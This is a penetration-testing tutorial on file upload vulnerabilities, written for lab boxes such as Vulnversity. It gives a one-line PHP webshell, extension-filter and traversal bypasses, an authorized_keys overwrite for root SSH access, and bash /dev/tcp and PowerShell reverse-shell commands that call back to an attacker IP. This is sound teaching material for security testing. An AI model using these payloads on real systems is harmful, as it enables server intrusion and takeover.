Uploading Code
Many web apps let you upload files: profile pictures, documents, resumes, attachments. If the application doesn’t properly validate what you upload, you can upload a webshell instead of an image.
Access the uploaded file via its URL, and the server executes your code.
An unrestricted file upload is often the fastest path to a shell. Upload a webshell, visit it, run commands.
Three Categories
File upload vulnerabilities fall into three groups:
Executable uploads - Upload a PHP/ASP/JSP file, access it via URL, it executes. The simplest and most dangerous.
Upload + directory traversal - The upload itself doesn’t execute, but you control the filename path, letting you write files to dangerous locations.
Client-side attacks - Upload a malicious
.docxor.svgthat executes when another user opens it. Requires user interaction, less reliable.
The first two are what matter most for penetration testing.
Executable File Uploads
The Attack
- Find an upload form (avatar, attachment, file manager)
- Upload a webshell instead of a legitimate file
- Find where it was saved (usually
/uploads/,/media/, or similar) - Access it via URL to execute commands
Webshells
The simplest PHP webshell is one line:
<?php system($_GET['cmd']); ?>Save it as shell.php, upload it, then:
curl http://target.com/uploads/shell.php?cmd=whoami
# www-dataFor more sophisticated webshells, the SecLists webshells collection has shells for PHP, ASP, ASPX, JSP, CFM, and Perl. On Kali, these are pre-installed at /usr/share/webshells/.
Match the webshell to the target’s technology stack. PHP webshell for Apache/PHP, ASPX for IIS/.NET, JSP for Tomcat/Java.
Finding the Upload Location
After uploading, you need to know where the file landed. Try:
- Check the response - the app might say “uploaded to /uploads/shell.php”
- Inspect the page source - look for
<img src="/uploads/...">or similar references - Common paths -
/uploads/,/media/,/images/,/files/,/attachments/ - Brute-force with Gobuster -
gobuster dir -u http://target.com -w wordlist.txt - Upload a normal file first - see where it appears, then upload the webshell to the same place
Bypassing Extension Filters
Most applications try to block dangerous extensions like .php. But filters are often poorly implemented.
Alternative PHP Extensions
PHP can execute files with several extensions. If .php is blocked, try:
| Extension | Why it works |
|---|---|
.phtml | Supported in most Apache configs |
.php7 | PHP 7 specific extension |
.phps | PHP source, sometimes executed |
.pHP | Case variation, bypasses case-sensitive filters |
.Php | Another case variation |
Other Bypass Techniques
| Technique | Example | How it works |
|---|---|---|
| Case variation | shell.pHP | Filter checks lowercase only |
| Double extension | shell.php.jpg | Filter checks last extension only |
| Null byte | shell.php%00.jpg | Older systems truncate at null byte |
| Upload then rename | Upload .txt, rename to .php | If app has a file manager |
| Content-Type spoof | Change header to image/jpeg | Filter checks MIME type, not content |
Testing Methodology
- Upload a normal file (
.txtor.jpg) to confirm the upload works - Try uploading
.phpdirectly - If blocked, try alternative extensions one by one
- If all extensions blocked, try case variations
- Check the error message carefully - it may reveal how the filter works
Error messages are your friend. “PHP files are not allowed” tells you it’s checking by extension. “Invalid file type” might mean it’s checking content. Each tells you what to bypass.
Non-Executable Uploads
Sometimes you can upload files, but the server won’t execute them. Maybe it doesn’t run PHP, or the upload directory has execution disabled.
You can still cause damage by controlling where the file is written.
Directory Traversal in the Filename
In Burp, intercept the upload request and modify the filename in the multipart form data:
Content-Disposition: form-data; name="myFile"; filename="../../../../root/.ssh/authorized_keys" Instead of saving to /uploads/authorized_keys, the server writes to /root/.ssh/authorized_keys.
Overwriting authorized_keys
This is the classic non-executable upload attack:
1. Generate an SSH keypair:
ssh-keygen -f fileup2. Prepare the authorized_keys file:
cat fileup.pub > authorized_keys3. Upload it with a traversal filename in Burp:
filename="../../../../root/.ssh/authorized_keys" 4. SSH in with your private key:
chmod 400 fileup
ssh -i fileup root@target -p 2222No code execution needed. You overwrote a critical system file.
Think beyond code execution. If you can write files anywhere, you can overwrite configs, cron jobs, SSH keys, or application files. Sometimes that’s more powerful than a webshell.
From Webshell to Reverse Shell
A webshell gives you command execution, but it’s clunky. One command at a time, no interactivity, might time out. Upgrade to a reverse shell.
On Linux
Start a listener on your machine:
nc -nvlp 4444Trigger the reverse shell via the webshell:
curl "http://target.com/uploads/shell.php?cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/YOUR_IP/4444%200>%261'"On Windows
Windows reverse shells typically use PowerShell. Encode the payload to avoid special character issues:
- Write the PowerShell reverse shell one-liner
- Base64-encode it using PowerShell or an online converter
- Execute via the webshell:
curl "http://target.com/uploads/shell.pHP?cmd=powershell%20-enc%20BASE64_STRING"Web Server Permissions
The commands you run through a webshell execute as the web server’s user:
| OS | User | Typical privileges |
|---|---|---|
| Linux (Apache) | www-data | Low privilege |
| Linux (custom app) | Sometimes root | Full access (misconfiguration) |
| Windows (IIS) | Network Service or App Pool Identity | Low privilege |
| Windows (XAMPP) | Sometimes Administrator | Full access |
Check who you’re running as immediately. Run
whoamiandid(Linux) orwhoami(Windows). If you’re already root/admin, you’re done. If not, you need privilege escalation.
Practice Boxes
- Vulnversity - File upload with extension filter bypass leading to reverse shell
- Shocker - Web exploitation leading to shell access